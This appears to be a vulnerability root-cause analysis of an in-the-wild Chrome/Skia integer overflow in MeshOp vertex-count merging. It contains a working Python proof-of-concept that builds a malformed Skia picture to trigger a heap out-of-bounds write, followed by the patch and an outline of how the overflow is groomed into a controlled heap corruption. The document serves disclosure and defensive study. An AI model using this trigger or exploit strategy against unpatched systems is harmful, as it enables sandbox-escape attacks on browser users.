Benoît Sevens and Clement Lecigne

The Basics

Disclosure or Patch Date: November 28, 2023

Product: Google Chrome

Advisory: https://chromereleases.googleblog.com/2023/11/stable-channel-update-for-desktop_28.html

Affected Versions: Versions older than 119.0.6045.199

First Patched Version: 119.0.6045.199

Issue/Bug Report: https://crbug.com/1505053

Patch CL: https://skia.googlesource.com/skia/+/6169a1fabae1743709bc9641ad43fcbb6a4f62e1

Bug-Introducing CL: https://skia.googlesource.com/skia/+/8a85ab0d96a1128c64fa21133518e835506b3895

Reporter(s): Benoît Sevens and Clément Lecigne of Google's Threat Analysis Group

The Code

Proof-of-concept:

Compile Skia with ASAN. The following Python script gen.py will create a poc.skp in the current directory:

import struct
import sys

kSkBlenderInSkPaint = 87
kXor = 11
sizeof_SkPoint = 8
sizeof_uint16_t = 2
kHasTexs_Mask = 0x100
kPictureData_TrailingStreamByteAfterPictInfo = 1
DRAW_VERTICES_OBJECT = 62
INT32_MAX = (1 << 31) - 1

vertexCount = 1 << 16  # Optimized to have as small as possible output .skp
indexCount = 0
name = b'poc'

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return bytes([x])

def f32(x):
    return struct.pack("<f", x)

def tag(s):
    return s.encode()[::-1]

info = b'skiapict'
info += p32(kSkBlenderInSkPaint)  # SkPictInfo.fVersion
info += f32(0)  # SkRect.fLeft
info += f32(0)  # SkRect.fTop
info += f32(30)  # SkRect.fRight
info += f32(30)  # SkRect.fBottom
info += p8(kPictureData_TrailingStreamByteAfterPictInfo)

factory = tag('fact')
factory += p32(1)  # size
factory += p32(1)  # SkFactoryPlayback size
factory += p8(len(name)) 
factory += name

paint_buffer = tag('pnt ')
paint_buffer += p32(1)  # size
paint_buffer += f32(1)  # SkPaint.fWidth
paint_buffer += f32(0)  # SkPaitn.fMiterLimit
paint_buffer += f32(255)  # SkColor4f.fR
paint_buffer += f32(255)  # SkColor4f.fG
paint_buffer += f32(255)  # SkColor4f.fB
paint_buffer += f32(0)  # SkColor4f.fA
paint_buffer += p32(0)  # flatFlags

vertices_buffer = tag('vert')
vertices_buffer += p32(1)  # size

vertices_buffer += p32(kHasTexs_Mask) 
vertices_buffer += p32(vertexCount)
vertices_buffer += p32(indexCount)
fVSize = vertexCount * sizeof_SkPoint  # positions
fTSize = vertexCount * sizeof_SkPoint  # texCoords
fCSize = 0  # colors
fISize = indexCount * sizeof_uint16_t  # indices
vertices_buffer += p32(fVSize)
positions = b''
for _ in range(2):  # We need at least 2 distinct points to not bail out early.
    positions += f32(1)
positions += f32(0) * ((fVSize - len(positions)) // 4)
vertices_buffer += positions
for size in [fTSize, fCSize, fISize]:
    vertices_buffer += p32(size)
    vertices_buffer += b'\0' * size

buffer_size = tag('aray')
buffer_size += p32(len(paint_buffer) + len(vertices_buffer))

reader = tag('read')
op = DRAW_VERTICES_OBJECT
op_size = 16
reader_op = p32((op << 24) + op_size)
reader_op += p32(1)  # paint
reader_op += p32(1)  # vertices
reader_op += p32(0)  # boneCount
reader_op += p32(kXor)  # bmode
reader_ops = reader_op * (INT32_MAX // vertexCount + 1)  # The "+ 1" will trigger the overflow
reader += p32(len(reader_ops))
reader += reader_ops

eof = tag('eof ')

with open(sys.argv[1], 'wb') as f:
    f.write(info)
    f.write(factory)
    f.write(buffer_size)
    f.write(paint_buffer)
    f.write(vertices_buffer)
    f.write(reader)
    f.write(eof)

Generate and parse the Skia picture with the following commands:

$ python3 gen.py poc.skp
$ ./skia/out/asan/skpbench --src poc.skp --config gles
   accum    median       max       min   stddev  samples  sample_ms  clock  metric  config    bench  
../../src/gpu/ganesh/ops/DrawMeshOp.cpp:1225:18: runtime error: signed integer overflow: 2146435072 + 1048576 cannot be represented in type 'int'  
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../../src/gpu/ganesh/ops/DrawMeshOp.cpp:1225:18 in   

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Integer overflow leading to a heap out of bounds write

Vulnerability details:

When Skia draws a Skia picture ("skp"), MeshOp::onCombineIfPossible will be called if multiple DRAW_VERTICES_OBJECT operations are performed (see proof of concept code for an example). MeshOp::onCombineIfPossible tries to combine the current MeshOp with the next MeshOp ("that"). This function will perform a few sanity checks and if they pass, it will extend fMeshes with those of the other MeshOp ([1]), as well as increment the fVertexCount and fIndexCount with those of the other MeshOp ([2]).

GrOp::CombineResult MeshOp::onCombineIfPossible(GrOp* t, SkArenaAlloc*, const GrCaps& caps) {
    auto that = t->cast<MeshOp>();

...

    fMeshes.move_back_n(that->fMeshes.size(), that->fMeshes.begin());  // [1]
    fVertexCount += that->fVertexCount;  // [2]
    fIndexCount  += that->fIndexCount;
    return CombineResult::kMerged;
}

However no sanity check is performed to verify that the addition at [1] will not overflow, with fVertexCount being defined as a int, which is 32-bit in this case.

Later on in MeshOp::onPrepareDraws, a skgpu::VertexWriter verts is allocated based on the (potentially overflowed) fVertexCount ([3]). A skgpu::VertexWriter is a specialized version of a skgpu::BufferWriter. GrMeshDrawTarget::makeVertexWriter will allocate a backing buffer by calling GrOpFlushState::makeVertexSpace. The size of the vertex buffer is eventually calculated in GrVertexBufferAllocPool::makeSpace by multiplying the vertexStride with the fVertexCount.

void MeshOp::onPrepareDraws(GrMeshDrawTarget* target) {
    size_t vertexStride = fSpecification->stride();
    sk_sp<const GrBuffer> vertexBuffer;
    int firstVertex;
    std::tie(vertexBuffer, firstVertex) = fMeshes[0].gpuVB();
    if (!vertexBuffer) {
        skgpu::VertexWriter verts = target->makeVertexWriter(vertexStride,  // [3]
                                                             fVertexCount,
                                                             &vertexBuffer,
                                                             &firstVertex);
        if (!verts) {
            SkDebugf("Could not allocate vertices.\n");
            return;
        }
        bool transform = fViewMatrix == SkMatrix::InvalidMatrix();
        for (const auto& m : fMeshes) {
            m.writeVertices(verts, *fSpecification, transform);  // [4]
        }
...
}

Finally, for every mesh of fMeshes, the vertices are then written to verts ([4]). Since this time the vertices are taken from the individual fMeshes, it can overflow the previously allocated buffer if fVertexCount has overflowed.

Note that writes to a skgpu::VertexWriter are validated:

    void validate(size_t bytesToWrite) const {
        // If the buffer writer had an end marked, make sure we're not crossing it.
        // Ideally, all creators of BufferWriters mark the end, but a lot of legacy code is not set
        // up to easily do this.
        SkASSERT(fPtr || bytesToWrite == 0);
        SkASSERT(!fEnd || Mark(fPtr, bytesToWrite) <= fEnd);  // [5]
    }

At [5] the out of bounds write will be caught on debug builds. However on release builds, SkAssert calls are compiled out.

Patch analysis:

The patch verifies that the addition of fVertexCount and that->fVertexCount will not overflow.

+    if (fVertexCount > INT32_MAX - that->fVertexCount) {
+        return CombineResult::kCannotCombine;
+    }

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

Both fuzzing and code auditing are viable ways to find this vulnerability.

(Historical/present/future) context of bug: Another integer overflow in Skia, tracked as CVE-2023-2136 and in a different component, was found exploited in the wild a few months earlier.

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies):

In contrast with the above proof of concept, the exploit has two entries in the vertices buffer, one with a fVertexCount of A and a second one with a fVertexCount of B. The first DRAW_VERTICES_OBJECT operation refers to A and the N next operations refer to B. A and B are chosen so that:

(A + N * B) % INT_MAX < A

The left hand side of the equation will be the overflown allocated size, while the right hand side will be the number of bytes written in the first writeVertices call. By using two vertices buffer, the values A, B and N can be finetuned to have the buffer land in the right heap location (after some heap grooming) and overflow the neighboring object with the desired amount.

Exploit flow: N/A

Known cases of the same exploit flow:

Exploits for CVE-2023-2136 and CVE-2023-6345 used the same technique to reach Skia from within the Chrome renderer (i.e. by using a DrawSlugOp command).

Part of an exploit chain? This sandbox escape would typically be chained with a renderer exploit before and an LPE exploit after.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why): Analyse similar patterns in other onCombine... functions of other operations.

Found variants: None

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

Some memory safe languages would detect such integer overflows at runtime.

Otherwise, use of overflow checking functions or macros for additions/substractions (instead of raw additions/substractions), would also mitigate such bugs. Such functions are actually used in some places in Skia, such as here. Of course, using such functions consistently thoughout the codebase is prone to errors.

Ideas to mitigate the exploit flow:

Hardware memory tagging technologies, such as Arm MTE, will detect the heap buffer out of bounds accesses.

Other potential improvements: N/A

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day? N/A

Other References

N/A